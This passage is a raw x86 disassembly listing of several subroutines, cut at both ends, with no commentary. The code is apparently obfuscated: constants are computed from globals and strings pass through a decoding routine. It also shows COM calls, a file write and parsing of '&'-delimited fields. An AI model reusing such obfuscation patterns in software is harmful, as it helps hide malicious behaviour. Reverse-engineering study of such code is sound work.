jmp short loc_443729
; ---------------------------------------------------------------------------
loc_4436FA: ; CODE XREF: sub_44300F+726j
mov eax, [ebp+var_60EA0]
add eax, [ebp+var_40E98]
movsx eax, [ebp+eax+var_60E9B]
movsx edx, word_551224
mov ecx, dword_55118C
lea edx, [edx+ecx+1Eh]
cmp eax, edx
jnz short loc_443737
inc [ebp+var_60EA0]
loc_443729: ; CODE XREF: sub_44300F+6E9j
mov eax, [ebp+var_60EA4]
cmp [ebp+var_60EA0], eax
jb short loc_4436FA
loc_443737: ; CODE XREF: sub_44300F+712j
mov eax, [ebp+var_60EA4]
cmp [ebp+var_60EA0], eax
jz short loc_4437B6
push dword_5510E0
mov eax, [ebp+var_40E98]
lea eax, [ebp+eax+var_60E9B]
push eax
lea eax, [ebp+var_50E97]
push eax
call sub_442127
add esp, 0Ch
mov [ebp+var_60EDC], eax
mov eax, dword_551174
add eax, 0FFFEh
cmp [ebp+var_60EDC], eax
jnz short loc_4437B6
push offset byte_551C15
call sub_43AC94
push eax
lea edi, [ebp+var_50E97]
push edi
call ds:dword_44802C
mov eax, [ebp+var_40E98]
lea eax, [ebp+eax+var_60E9B]
push eax
lea eax, [ebp+var_50E97]
push eax
call ds:dword_44802C
add esp, 14h
loc_4437B6: ; CODE XREF: sub_44300F:loc_4436E3j
; sub_44300F+734j ...
movsx eax, word_5511CC
sub eax, 5
add eax, [ebp+var_60EA4]
add [ebp+var_40E98], eax
mov eax, [ebp+var_60EB4]
cmp [ebp+var_40E98], eax
jb loc_4436A0
mov eax, dword_5511A0
mov [ebp+var_60EB0], eax
lea ecx, [ebp+var_50E97]
or eax, 0FFFFFFFFh
loc_4437F2: ; CODE XREF: sub_44300F+7E8j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_4437F2
mov [ebp+var_60EA4], eax
mov eax, dword_55109C
add eax, dword_551248
sub eax, 0Bh
mov [ebp+var_40E98], eax
jmp loc_443A2E
; ---------------------------------------------------------------------------
loc_443818: ; CODE XREF: sub_44300F+A2Bj
movsx eax, word_5511CC
add eax, 1Ah
mov edx, [ebp+var_40E98]
movzx edx, [ebp+edx+var_50E97]
cmp eax, edx
jz short loc_44383B
and [ebp+var_60EA8], 0
loc_44383B: ; CODE XREF: sub_44300F+823j
mov eax, [ebp+var_40E98]
movzx eax, [ebp+eax+var_50E97]
movsx edx, word_551140
add edx, 1Bh
cmp eax, edx
jnz loc_4439CA
mov eax, dword_5511E8
sub eax, 7
cmp [ebp+var_40E98], eax
jbe loc_443917
mov eax, [ebp+var_40E98]
mov edx, dword_551118
sub edx, 8
sub eax, edx
mov al, [ebp+eax+var_50E97]
mov [ebp+var_60EDD], al
movzx eax, [ebp+var_60EDD]
movsx edx, word_55112C
mov ecx, dword_5510E0
lea edx, [edx+ecx+1Ah]
cmp eax, edx
jle short loc_4438BC
mov edx, dword_5510A8
add edx, 27h
add edx, dword_5510C0
cmp eax, edx
jl short loc_44390D
loc_4438BC: ; CODE XREF: sub_44300F+898j
movzx eax, [ebp+var_60EDD]
mov edx, dword_551190
add edx, 72h
add edx, dword_551098
cmp eax, edx
jle short loc_4438EB
movsx edx, word_5511A8
mov ecx, dword_5510BC
lea edx, [edx+ecx+7Fh]
cmp eax, edx
jl short loc_44390D
loc_4438EB: ; CODE XREF: sub_44300F+8C5j
movzx eax, [ebp+var_60EDD]
mov edx, dword_5510C4
add edx, 30h
cmp eax, edx
jle short loc_443917
movsx edx, word_55115C
add edx, 3Eh
cmp eax, edx
jge short loc_443917
loc_44390D: ; CODE XREF: sub_44300F+8ABj
; sub_44300F+8DAj
mov [ebp+var_60EA8], 1
loc_443917: ; CODE XREF: sub_44300F+85Aj
; sub_44300F+8EEj ...
mov eax, [ebp+var_60EA4]
cmp [ebp+var_40E98], eax
jnb loc_4439CA
mov eax, [ebp+var_40E98]
mov edx, dword_551160
movsx ecx, word_551094
add edx, ecx
sub edx, 7
add eax, edx
mov al, [ebp+eax+var_50E97]
mov [ebp+var_60EDD], al
movzx eax, [ebp+var_60EDD]
mov edx, dword_551178
add edx, 77h
cmp eax, edx
jle short loc_443971
mov edx, dword_5511B4
add edx, 7Eh
cmp eax, edx
jl short loc_4439C0
loc_443971: ; CODE XREF: sub_44300F+953j
movzx eax, [ebp+var_60EDD]
mov edx, dword_551248
add edx, 2Eh
add edx, dword_551128
cmp eax, edx
jle short loc_44399E
mov edx, dword_5511D4
add edx, 31h
add edx, dword_551154
cmp eax, edx
jl short loc_4439C0
loc_44399E: ; CODE XREF: sub_44300F+97Aj
movzx eax, [ebp+var_60EDD]
mov edx, dword_551230
add edx, 1Bh
cmp eax, edx
jle short loc_4439CA
movsx edx, word_5510D8
add edx, 27h
cmp eax, edx
jge short loc_4439CA
loc_4439C0: ; CODE XREF: sub_44300F+960j
; sub_44300F+98Dj
mov [ebp+var_60EA8], 1
loc_4439CA: ; CODE XREF: sub_44300F+846j
; sub_44300F+914j ...
mov eax, dword_551204
sub eax, 3
cmp eax, [ebp+var_60EA8]
jnz short loc_4439FA
mov eax, [ebp+var_60EB0]
mov edx, [ebp+var_40E98]
mov dl, [ebp+edx+var_50E97]
mov [ebp+eax+var_50E97], dl
inc [ebp+var_60EB0]
loc_4439FA: ; CODE XREF: sub_44300F+9C9j
mov eax, [ebp+var_40E98]
movzx eax, [ebp+eax+var_50E97]
mov edx, dword_5511C0
add edx, 19h
movsx ecx, word_5511C4
add edx, ecx
cmp eax, edx
jnz short loc_443A28
mov [ebp+var_60EA8], 1
loc_443A28: ; CODE XREF: sub_44300F+A0Dj
inc [ebp+var_40E98]
loc_443A2E: ; CODE XREF: sub_44300F+804j
mov eax, [ebp+var_60EA4]
cmp [ebp+var_40E98], eax
jb loc_443818
mov eax, [ebp+var_60EB0]
movsx edx, word_5511CC
sub edx, 6
mov [ebp+eax+var_50E97], dl
loc_443A57: ; CODE XREF: sub_44300F+5D9j
mov eax, [ebp+var_60ED4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_443A63: ; CODE XREF: sub_44300F+5A6j
mov eax, dword_551230
movsx edx, word_5510B0
add eax, edx
sub eax, 6
mov [ebp+var_60EAC], eax
lea eax, [ebp+var_60EAC]
push eax
push offset dword_552A64
mov eax, [ebp+var_60EBC]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_551164
movsx edx, word_551220
add eax, edx
dec eax
cmp ebx, eax
jnz loc_443D7E
lea eax, [ebp+var_60EB8]
push eax
mov eax, [ebp+var_60EAC]
push eax
mov edi, [eax]
call dword ptr [edi+6Ch]
mov ebx, eax
movsx eax, word_551168
sub eax, 4
cmp ebx, eax
jnz loc_443D72
mov eax, dword_551098
sub eax, 2
mov [ebp+var_50E9C], eax
jmp loc_443D60
; ---------------------------------------------------------------------------
loc_443AE9: ; CODE XREF: sub_44300F+D5Dj
mov eax, dword_5511E0
add eax, dword_5511D8
sub eax, 10h
push eax
call ds:dword_50EA24
pop ecx
mov [ebp+var_70F08], 2
mov eax, [ebp+var_50E9C]
mov [ebp+var_70F00], eax
lea eax, [ebp+var_70F0C]
push eax
lea esi, [ebp+var_70F08]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_70F08]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_60EAC]
push edi
mov edi, [edi]
call dword ptr [edi+74h]
mov ebx, eax
movsx eax, word_551214
add eax, dword_551230
sub eax, 8
cmp ebx, eax
jnz loc_443D5A
movsx eax, word_5510EC
mov [ebp+var_70EF4], eax
lea eax, [ebp+var_70EF4]
push eax
push offset dword_552A54
mov eax, [ebp+var_70F0C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_551118
sub eax, 9
cmp eax, ebx
jnz loc_443D4E
lea eax, [ebp+var_60EF0]
push eax
movsx eax, word_5510D8
sub eax, 9
push eax
push [ebp+var_30E48]
mov eax, [ebp+var_70EF4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
cmp [ebp+var_60EF0], 8
jnz short loc_443BE7
movsx eax, word_551214
movsx edx, word_55111C
add eax, edx
sub eax, 3
cmp ebx, eax
jz short loc_443BEC
loc_443BE7: ; CODE XREF: sub_44300F+BBFj
jmp loc_443D42
; ---------------------------------------------------------------------------
loc_443BEC: ; CODE XREF: sub_44300F+BD6j
mov eax, dword_5510F8
add eax, dword_551134
mov edx, dword_551090
add edx, dword_55118C
dec edx
mov [ebp+eax+var_70EFB], dl
lea eax, [ebp+var_70EEF]
push eax
push [ebp+var_60EE8]
call sub_44582B
add esp, 8
push [ebp+var_60EE8]
call ds:dword_550034
mov eax, dword_551138
sub eax, 3
movsx edx, [ebp+var_70EEF]
cmp eax, edx
jz loc_443D42
push [ebp+var_30E4C]
lea eax, [ebp+var_70EEF]
push eax
call sub_43CD37
add esp, 8
lea eax, [ebp+var_60EF0]
push eax
mov eax, dword_55109C
add eax, dword_5511D4
sub eax, 10h
push eax
push [ebp+var_30E44]
mov eax, [ebp+var_70EF4]
push eax
mov edi, [eax]
call dword ptr [edi+20h]
mov ebx, eax
movsx eax, word_551188
mov edx, eax
add edx, eax
mov eax, dword_551158
dec eax
mov [ebp+edx+var_71F15], al
cmp ebx, dword_551100
jnz short loc_443CCD
cmp [ebp+var_60EF0], 8
jnz short loc_443CCD
lea eax, [ebp+var_71F0B]
push eax
push [ebp+var_60EE8]
call sub_44582B
add esp, 8
push [ebp+var_60EE8]
call ds:dword_550034
loc_443CCD: ; CODE XREF: sub_44300F+C91j
; sub_44300F+C9Bj
push offset byte_551C0D
call sub_43AC94
push [ebp+var_50E9C]
push eax
lea edi, [ebp+var_30E3F]
push edi
call ds:dword_50EA28
lea eax, [ebp+var_30E3F]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44802C
lea eax, [ebp+var_71F0B]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44802C
push offset dword_551C08
call sub_43AC94
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_44802C
lea eax, [ebp+var_70EEF]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44802C
add esp, 34h
loc_443D42: ; CODE XREF: sub_44300F:loc_443BE7j
; sub_44300F+C2Ej
mov eax, [ebp+var_70EF4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_443D4E: ; CODE XREF: sub_44300F+B8Bj
mov eax, [ebp+var_70F0C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_443D5A: ; CODE XREF: sub_44300F+B50j
inc [ebp+var_50E9C]
loc_443D60: ; CODE XREF: sub_44300F+AD5j
mov eax, [ebp+var_60EB8]
cmp [ebp+var_50E9C], eax
jb loc_443AE9
loc_443D72: ; CODE XREF: sub_44300F+AC1j
mov eax, [ebp+var_60EAC]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_443D7E: ; CODE XREF: sub_44300F+A9Aj
mov eax, [ebp+var_60EBC]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, dword_55110C
movsx edx, word_5510AC
add eax, edx
movzx eax, [ebp+eax+var_50EA7]
movsx edx, word_551120
sub edx, 3
cmp eax, edx
jz short loc_443DF5
push offset word_551C02
call sub_43AC94
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_44802C
lea eax, [ebp+var_50E97]
push eax
lea eax, [ebp+var_30D40]
push eax
call ds:dword_44802C
push offset byte_551BFD
call sub_43AC94
push eax
lea edi, [ebp+var_30D40]
push edi
call ds:dword_44802C
add esp, 20h
loc_443DF5: ; CODE XREF: sub_44300F+533j
; sub_44300F+D9Dj
inc [ebp+var_30E50]
loc_443DFB: ; CODE XREF: sub_44300F+4B8j
mov eax, [ebp+var_30E58]
cmp [ebp+var_30E50], eax
jb loc_4434CC
loc_443E0D: ; CODE XREF: sub_44300F+338j
; sub_44300F+3C0j ...
inc dword ptr [ebp-40E5Ch]
mov eax, [ebp+var_40E90]
cmp [ebp-40E5Ch], eax
jl loc_4432DF
lea eax, [ebp+var_30D40]
push eax
call ds:dword_50EA1C
pop ecx
push [ebp+var_30E48]
call ds:dword_550034
push [ebp+var_30E44]
call ds:dword_550034
loc_443E4B: ; CODE XREF: sub_44300F+22Fj
mov eax, [ebp+var_40E70]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_443E57: ; CODE XREF: sub_44300F+20Aj
mov eax, [ebp+var_40E6C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_443E63: ; CODE XREF: sub_44300F+1E5j
mov eax, [ebp+var_40E68]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_443E6F: ; CODE XREF: sub_44300F+CFj
; sub_44300F:loc_443156j ...
mov eax, [ebp+var_40E64]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_443E7B: ; CODE XREF: sub_44300F+51j
; sub_44300F+A4j
pop edi
pop esi
pop ebx
leave
retn
sub_44300F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443E80 proc near ; CODE XREF: sub_4467C4+44Cp
; sub_4467C4+4E6p
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov eax, dword_551150
sub eax, 4
push eax
push 80h
push 4
mov eax, dword_5510B8
sub eax, 8
push eax
push dword_551164
push 40000000h
push offset dword_4CC330
call ds:dword_54FC18
mov edi, eax
push 0
mov eax, dword_551098
sub eax, 2
push eax
push [ebp+arg_4]
push edi
call ds:dword_550030
mov eax, [ebp+arg_0]
mov ecx, eax
or eax, 0FFFFFFFFh
loc_443ED5: ; CODE XREF: sub_443E80+5Aj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_443ED5
mov esi, eax
mov ebx, dword_551208
sub ebx, 2
push ebx
lea ebx, [ebp+var_4]
push ebx
push esi
push [ebp+arg_0]
push edi
call ds:dword_55001C
push edi
call ds:dword_4CDA48
pop edi
pop esi
pop ebx
leave
retn
sub_443E80 endp
; =============== S U B R O U T I N E =======================================
sub_443F03 proc near ; CODE XREF: sub_43E491+372p
push 0
call sub_43FC04
push 2
call sub_43FC04
add esp, 8
retn
sub_443F03 endp
; =============== S U B R O U T I N E =======================================
sub_443F15 proc near ; CODE XREF: sub_43E491+25p
push edi
push offset word_551BEE
call sub_43AC94
pop ecx
push eax
call ds:dword_44B598
mov dword_55129C, eax
mov eax, dword_551108
movsx edx, word_551188
add eax, edx
sub eax, 7
cmp eax, dword_55129C
jnz short loc_443F5D
push offset byte_551BDF
call sub_43AC94
pop ecx
push eax
call ds:dword_48C318
mov dword_55129C, eax
loc_443F5D: ; CODE XREF: sub_443F15+2Fj
push offset byte_551BCB
call sub_43AC94
pop ecx
push eax
push dword_55129C
call ds:dword_44B1AC
mov ds:dword_48BA00, eax
pop edi
retn
sub_443F15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_443F7C proc near ; CODE XREF: sub_43C10A+1A5p
; sub_441AE5+281p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
inc esi
mov edi, dword_551124
add edi, 12h
add edi, dword_5510D0
mov eax, esi
test eax, eax
jge short loc_443FA3
add eax, 0FFh
loc_443FA3: ; CODE XREF: sub_443F7C+20j
sar eax, 8
mov ebx, dword_5510E8
inc ebx
add ebx, dword_551218
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_8], edi
mov eax, esi
test eax, eax
jge short loc_443FC8
add eax, 0FFFFh
loc_443FC8: ; CODE XREF: sub_443F7C+45j
sar eax, 10h
movsx edi, word_5511AC
movsx ebx, word_5511C4
lea edi, [edi+ebx+0Ah]
mov ebx, eax
imul ebx, edi
mov edi, dword_551128
add edi, 19h
add edi, dword_55122C
add ebx, edi
mov [ebp+var_C], ebx
movsx edi, word_5511EC
mov eax, esi
test eax, eax
jge short loc_444008
add eax, 0FFh
loc_444008: ; CODE XREF: sub_443F7C+85j
sar eax, 8
movsx ebx, word_551240
add ebx, 10h
mov edx, eax
imul edx, ebx
lea edi, [edi+edx+12h]
mov [ebp+var_10], edi
mov eax, esi
mul [ebp+var_C]
mov [ebp+var_1C], eax
and eax, 0FFh
push eax
call sub_43F45E
mov ebx, eax
mov [ebp+var_11], bl
mov eax, dword_551164
add eax, 45h
movsx edx, word_551168
add eax, edx
imul eax, esi
and eax, 0FFh
push eax
call sub_445D55
mov ebx, eax
mov [ebp+var_12], bl
mov eax, esi
mul [ebp+var_10]
mov [ebp+var_20], eax
and eax, 0FFh
push eax
call sub_43F45E
mov ebx, eax
mov [ebp+var_13], bl
mov eax, dword_55126C
add eax, 26h
add eax, dword_5510C0
imul eax, esi
and eax, 0FFh
push eax
call sub_445D55
mov ebx, eax
mov [ebp+var_14], bl
mov eax, dword_551148
add eax, 65h
add eax, dword_5511F4
imul eax, esi
and eax, 0FFh
push eax
call sub_445D55
mov ebx, eax
mov [ebp+var_15], bl
mov eax, esi
and eax, 0FFh
push eax
call sub_43F45E
mov ebx, eax
mov [ebp+var_16], bl
mov eax, esi
mul [ebp+var_8]
mov [ebp+var_24], eax
and eax, 0FFh
push eax
call sub_43F45E
mov ebx, eax
mov [ebp+var_1], bl
mov eax, dword_551258
add eax, 0Ah
add eax, dword_5510C0
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_445D55
mov ebx, eax
mov [ebp+var_17], bl
movsx eax, word_551194
add eax, 3Ch
imul eax, esi
and eax, 0FFh
push eax
call sub_43F45E
add esp, 24h
mov ebx, eax
mov [ebp+var_18], bl
movzx edi, [ebp+var_1]
mov eax, edi
shr eax, 1
mov esi, dword_551114
movsx ebx, word_551220
add esi, ebx
dec esi
mul esi
mov [ebp+var_28], eax
mov esi, eax
cmp edi, eax
jnz short loc_44418F
push offset byte_551BB1
call sub_43AC94
movzx edi, [ebp+var_18]
push edi
movzx edi, [ebp+var_12]
push edi
movzx edi, [ebp+var_11]
push edi
movzx edi, [ebp+var_14]
push edi
movzx edi, [ebp+var_16]
push edi
movzx edi, [ebp+var_15]
push edi
movzx edi, [ebp+var_13]
push edi
movzx edi, [ebp+var_17]
push edi
movzx edi, [ebp+var_1]
push edi
push eax
push [ebp+arg_0]
call ds:dword_50EA28
add esp, 30h
jmp short loc_4441D3
; ---------------------------------------------------------------------------
loc_44418F: ; CODE XREF: sub_443F7C+1CBj
push offset word_551B96
call sub_43AC94
movzx edi, [ebp+var_18]
push edi
movzx edi, [ebp+var_12]
push edi
movzx edi, [ebp+var_11]
push edi
movzx edi, [ebp+var_14]
push edi
movzx edi, [ebp+var_16]
push edi
movzx edi, [ebp+var_15]
push edi
movzx edi, [ebp+var_13]
push edi
movzx edi, [ebp+var_17]
push edi
movzx edi, [ebp+var_1]
push edi
push eax
push [ebp+arg_0]
call ds:dword_50EA28
add esp, 30h
loc_4441D3: ; CODE XREF: sub_443F7C+211j
pop edi
pop esi
pop ebx
leave
retn
sub_443F7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4441D8 proc near ; CODE XREF: sub_43E04C+20p
; sub_43E04C+25Cp
var_10088 = dword ptr -10088h
var_10084 = dword ptr -10084h
var_10080 = dword ptr -10080h
var_1007C = dword ptr -1007Ch
var_10078 = word ptr -10078h
var_10070 = dword ptr -10070h
var_10064 = dword ptr -10064h
var_10060 = dword ptr -10060h
var_1005C = dword ptr -1005Ch
var_10055 = byte ptr -10055h
var_10054 = dword ptr -10054h
var_10050 = dword ptr -10050h
var_1004C = dword ptr -1004Ch
var_10048 = dword ptr -10048h
var_10044 = dword ptr -10044h
var_1003F = byte ptr -1003Fh
var_40 = word ptr -40h
var_38 = dword ptr -38h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
mov eax, 10088h
call sub_44797C
push ebx
push esi
push edi
mov [ebp+var_40], 8
push offset dword_551B88
call sub_43AEDD
pop ecx
push eax
call ds:dword_44900C
mov [ebp+var_38], eax
lea eax, [ebp+var_2C]
push eax
lea esi, [ebp+var_40]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+arg_4]
push edi
mov edi, [edi]
call dword ptr [edi+30h]
mov ebx, eax
mov eax, dword_551108
sub eax, 2
cmp ebx, eax
jz short loc_444234
xor eax, eax
jmp loc_44496B
; ---------------------------------------------------------------------------
loc_444234: ; CODE XREF: sub_4441D8+53j
lea eax, [ebp+var_24]
push eax
push offset dword_552A44
mov eax, [ebp+var_2C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_5510D8
sub eax, 9
cmp eax, ebx
jnz loc_444960
lea eax, [ebp+var_28]
push eax
mov eax, [ebp+var_24]
push eax
mov edi, [eax]
call dword ptr [edi+24h]
mov ebx, eax
mov eax, dword_5511B8
sub eax, 7
cmp ebx, eax
jnz loc_444957
mov eax, dword_5510F4
add eax, dword_55114C
sub eax, 8
mov [ebp+var_1C], eax
jmp loc_44494B
; ---------------------------------------------------------------------------
loc_444293: ; CODE XREF: sub_4441D8+779j
mov eax, [ebp+var_1C]
mov [ebp+var_10], eax
mov [ebp+var_18], 2
lea eax, [ebp+var_4]
push eax
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
lea esi, [ebp+var_18]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, [ebp+var_24]
push edi
mov edi, [edi]
call dword ptr [edi+2Ch]
mov ebx, eax
mov eax, dword_5511E4
movsx edx, word_5511CC
add eax, edx
sub eax, 0Bh
cmp ebx, eax
jnz loc_444948
mov eax, dword_551148
add eax, dword_5510F8
sub eax, 0Bh
mov [ebp+var_10044], eax
lea eax, [ebp+var_10044]
push eax
push offset dword_552A54
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_5511CC
sub eax, 6
cmp ebx, eax
jnz loc_444914
mov eax, dword_5511E0
add eax, dword_551184
sub eax, 11h
cmp [ebp+var_10044], eax
jz loc_444914
lea eax, [ebp+var_20]
push eax
mov eax, [ebp+var_10044]
push eax
mov edi, [eax]
call dword ptr [edi+0F8h]
mov ebx, eax
movsx eax, word_551268
sub eax, 3
cmp eax, ebx
jnz loc_444914
lea eax, [ebp+var_1003F]
push eax
push [ebp+var_20]
call sub_44582B
mov eax, dword_5510A4
movsx edx, word_5510AC
add eax, edx
sub eax, 0Fh
push eax
push offset dword_48C300
lea eax, [ebp+var_1003F]
push eax
call sub_442127
add esp, 14h
mov edi, dword_551154
add edi, 0FFF4h
add edi, dword_5510D0
cmp edi, eax
jz loc_444914
mov eax, dword_5511F4
sub eax, 4
cmp [ebp+arg_8], eax
jnz short loc_4443E0
mov eax, [ebp+var_10044]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_4]
push eax
mov esi, [eax]
call dword ptr [esi+8]
xor eax, eax
inc eax
jmp loc_44496B
; ---------------------------------------------------------------------------
loc_4443E0: ; CODE XREF: sub_4441D8+1E9j
mov eax, dword_55109C
sub eax, 7
mov [ebp+var_1007C], eax
lea eax, [ebp+var_1007C]
push eax
push offset dword_552A74
mov eax, [ebp+var_4]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_551240
dec eax
cmp ebx, eax
jnz loc_444914
mov [ebp+var_10055], 44h
push offset byte_551B7F
call sub_43AC94
mov edi, dword_5510D0
add edi, dword_551250
sub edi, 5
push edi
push eax
lea edi, [ebp+var_1003F]
push edi
call sub_442127
add esp, 10h
mov esi, dword_5510D4
add esi, 0FFF8h
cmp eax, esi
jz short loc_444461
mov [ebp+var_10055], 43h
loc_444461: ; CODE XREF: sub_4441D8+280j
push offset byte_551B77
call sub_43AC94
mov edi, dword_551264
add edi, dword_5510A4
sub edi, 0Bh
push edi
push eax
lea edi, [ebp+var_1003F]
push edi
call sub_442127
add esp, 10h
mov esi, dword_551138
add esi, 0FFF5h
movsx edx, word_5510A0
add esi, edx
cmp eax, esi
jz short loc_4444AB
mov [ebp+var_10055], 50h
loc_4444AB: ; CODE XREF: sub_4441D8+2CAj
push offset byte_551B6F
call sub_43AC94
movsx edi, word_5510B0
push edi
push eax
lea edi, [ebp+var_1003F]
push edi
call sub_442127
add esp, 10h
movsx esi, word_5511C4
sub esi, 3
mov edi, eax
add edi, esi
mov [ebp+var_10064], edi
mov [ebp+var_10050], edi
loc_4444E7: ; CODE XREF: sub_4441D8+325j
mov eax, [ebp+var_10050]
cmp [ebp+eax+var_1003F], 26h
jz short loc_4444FF
inc [ebp+var_10050]
jmp short loc_4444E7
; ---------------------------------------------------------------------------
loc_4444FF: ; CODE XREF: sub_4441D8+31Dj
mov eax, [ebp+var_10050]
movsx edx, word_551254
add edx, dword_5510BC
sub edx, 8
mov [ebp+eax+var_1003F], dl
mov eax, [ebp+var_10064]
lea eax, [ebp+eax+var_1003F]
push eax
call ds:dword_44901C
mov [ebp+var_10080], eax
push offset dword_551B68
call sub_43AC94
mov edi, dword_5511F0
movsx esi, word_551228
add edi, esi
sub edi, 0Eh
push edi
push eax
lea edi, [ebp+var_1003F]
push edi
call sub_442127
add esp, 14h
movsx esi, word_551104
add esi, dword_5510F8
sub esi, 6
mov edi, eax
add edi, esi
mov [ebp+var_10064], edi
mov [ebp+var_10050], edi
loc_444583: ; CODE XREF: sub_4441D8+3C1j
mov eax, [ebp+var_10050]
cmp [ebp+eax+var_1003F], 26h
jz short loc_44459B
inc [ebp+var_10050]
jmp short loc_444583
; ---------------------------------------------------------------------------
loc_44459B: ; CODE XREF: sub_4441D8+3B9j
mov eax, [ebp+var_10050]
movsx edx, word_5510D8
sub edx, 9
mov [ebp+eax+var_1003F], dl
mov eax, [ebp+var_10064]
lea eax, [ebp+eax+var_1003F]
push eax
call ds:dword_44901C
pop ecx
mov [ebp+var_1005C], eax
mov eax, dword_55121C
cmp [ebp+var_10080], eax
ja loc_44466E
mov eax, dword_551204
movsx edx, word_5511C4
add eax, edx
sub eax, 0Ah
mov [ebp+var_10048], eax
jmp short loc_44465C
; ---------------------------------------------------------------------------
loc_4445F7: ; CODE XREF: sub_4441D8+494j
mov edi, [ebp+var_10048]
mov dl, ds:byte_44B1B0[edi]
cmp dl, [ebp+var_10055]
jnz short loc_444656
shl edi, 2
movsx esi, word_55123C
add esi, dword_5510DC
sub esi, 0Ah
cmp ds:dword_44A0E0[edi], esi
jz short loc_444656
mov esi, [ebp+var_1005C]
cmp ds:dword_449020[edi], esi
jnz short loc_444656
mov edi, [ebp+var_10048]
mov esi, dword_5510C4
movsx edx, word_5511EC
add esi, edx
sub esi, 0Ch
mov ds:dword_44A0E0[edi*4], esi
loc_444656: ; CODE XREF: sub_4441D8+432j
; sub_4441D8+44Ej ...
inc [ebp+var_10048]
loc_44465C: ; CODE XREF: sub_4441D8+41Dj
mov eax, dword_551208
add eax, 3E6h
cmp [ebp+var_10048], eax
jb short loc_4445F7
loc_44466E: ; CODE XREF: sub_4441D8+400j
call ds:dword_54EB70
mov [ebp+var_10060], eax
mov eax, dword_551128
sub eax, 7
mov [ebp+var_1004C], eax
jmp short loc_4446EF
; ---------------------------------------------------------------------------
loc_44468A: ; CODE XREF: sub_4441D8+52Dj
mov edi, [ebp+var_1004C]
shl edi, 2
mov esi, ds:dword_4CDA50[edi]
mov edx, dword_55109C
add edx, 0EA59h
movsx ecx, word_55112C
imul edx, ecx
add esi, edx
cmp esi, [ebp+var_10060]
jnb short loc_4446E9
mov esi, dword_5511E0
sub esi, 9
cmp ds:dword_44A0E0[edi], esi
jz short loc_4446E9
mov edi, [ebp+var_1004C]
movsx esi, word_55123C
add esi, dword_551204
sub esi, 6
mov ds:dword_44A0E0[edi*4], esi
loc_4446E9: ; CODE XREF: sub_4441D8+4E0j
; sub_4441D8+4F2j
inc [ebp+var_1004C]
loc_4446EF: ; CODE XREF: sub_4441D8+4B0j
mov eax, dword_5511FC
add eax, 3E7h
add eax, dword_5511B4
cmp [ebp+var_1004C], eax
jb short loc_44468A
mov eax, dword_55124C
add eax, dword_5510A8
sub eax, 0Dh
mov [ebp+var_10054], eax
jmp short loc_444745
; ---------------------------------------------------------------------------
loc_44471D: ; CODE XREF: sub_4441D8+57Dj
mov edi, [ebp+var_10054]
movsx esi, word_551188
movsx edx, word_5511C8
add esi, edx
sub esi, 0Ch
cmp ds:dword_44A0E0[edi*4], esi
jz short loc_444757
inc [ebp+var_10054]
loc_444745: ; CODE XREF: sub_4441D8+543j
mov eax, dword_55121C
add eax, 3E8h
cmp [ebp+var_10054], eax
jb short loc_44471D
loc_444757: ; CODE XREF: sub_4441D8+565j
mov edi, [ebp+var_10054]
mov esi, [ebp+arg_0]
mov ds:dword_448060[edi*4], esi
mov eax, edi
mov dl, [ebp+var_10055]
mov ds:byte_44B1B0[eax], dl
mov esi, [ebp+var_1005C]
